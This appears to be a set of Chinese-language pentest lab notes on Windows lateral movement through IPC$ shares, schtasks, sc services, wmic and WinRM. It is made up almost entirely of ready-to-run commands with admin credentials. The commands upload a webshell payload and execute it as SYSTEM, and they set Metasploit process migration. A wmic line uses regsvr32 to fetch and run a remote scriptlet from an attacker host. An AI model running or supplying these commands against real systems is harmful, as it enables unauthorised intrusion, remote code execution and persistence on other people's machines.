IPC+Schtasks
IPC:
IPC$是共享"命令管道"的资源,它是为了让进程通信而开放的命名管道,连接双方可以建立安全的通道并以此通道进行加密数据交换,从而实现对远程计算机的访问。
利用条件:
1、开放139、445
2、目标开启IPC$文件共享服务
3、需要目标机器的管理员账号和密码
常用命令:
1、连接
net use \\192.168.222.136\ipc$ /user:administrator "hjw123"
2、查看连接情况
net use
3、查看目标主机时间
net time \\192.168.222.135
4、删除连接
net use \\192.168.222.136\ipc$ /del
5、文件上传
copy shell.txt \\192.168.222.136\c$\shell.txt //上传文件
copy \\192.168.222.135\c$\shell.txt c:\ //下载
Schtasks:
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务
先查看目标时间:
net time \\192.168.222.135
创建定时任务:
SCHTASKS /Create /S 192.168.222.150 /U Administrator /P "hjw123..." /SC ONCE /ST 18:31 /TN test1 /TR C:\Users\Administrator\Desktop\mimikatz\webshell.exe /RU system
这里ip用户名密码时间路径自己修改
删除定时任务:
SCHTASKS /Delete /S 192.168.222.150 /U Administrator /P "hjw123..." /TN "test1" /F
https://www.cnblogs.com/bonelee/p/15915834.htmlhttps://www.cnblogs.com/bonelee/p/15915834.htmlSchtasks(计划任务)命令详解_一个懒鬼的博客-CSDN博客安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。若要查看该命令语法,请单击以下命令:schtasks create创建新的计划任务。MS-DOS命令语法schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd Starhttps://blog.csdn.net/weixin_44657888/article/details/121192197提示:这里at已经被弃用,如果可以也可以使用at创建
IPC+SC
前提:
- 利用已建立的共享连接向远程主机上传攻击载荷webshell.exe
- 利用已建立的IPC连接在远程主机上创建系统服务shell
SC创建服务:
sc \\192.168.222.150 create aaaa binpath="C:\Users\Administrator\Desktop\mimikatz\webshell.exe"
sc \\192.168.222.150 start aaaa
这里应该设置进程迁移,一段时间服务没有响应就会断掉
这时候我们需要设置进程迁移:
set autorunscript migrate -n explorer.exe
set autorunscript migrate -f //默认是notepad
https://www.cnblogs.com/g0udan/p/12411937.html
可参考上面的两种进程迁移手法,手动和自动
wmic:
无需上传第三方软件,利用系统内置程序,执行过程中有单模式执行和交互式执行
可以只执行命令,或者反弹shell
msf使用multi/script/web_delivery模块一条命令上线:
wmic执行:
wmic /node:192.168.222.150 /user:Administrator /password:hjw123... process call create "regsvr32 /s /n /u /i:http://192.168.222.128:9898/epBqui3cSu4kK.sct scrobj.dll"
这里是创建一个process去执行
回到msf上
wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本回显。
WinRM
WinRM指的是windows远程管理服务,通过远程连接winRM模块可以 操作windows命令行,默认监听端口5985(HTTP)&5986(HTTPS)在2012及以后默认开启。
判断是否开启winrm服务
winrm enumerate winrm/config/listener
winrs执行命令:
//winrs -r:ip -u:用户名 -p:密码 [cmd命令]
winrs -r:http://192.168.222.150:5985 -u:Administrator -p:hjw123... whoami
可能会出现如下问题:
在攻击机上输入以下代码:
winrm set winrm/config/Client@{TrustedHosts="*"}
这里有一个非常有趣的效果就是后面接cmd则成功拿到对方的cmd
利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}
命令调用了windows wmi中的win32_process类中的Create方法生成了一个calc.exe
这里也可远程执行,我们配合 winrs执行
//winrm invoke create wmicimv2/win32_process @{Commandline="执行的程序"} -r:ip -u:用户名 -p:密码
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://192.168.222.150:5985 -u:Administrator -p:hjw123...
这里可以配合前面学的定时任务、服务一起使用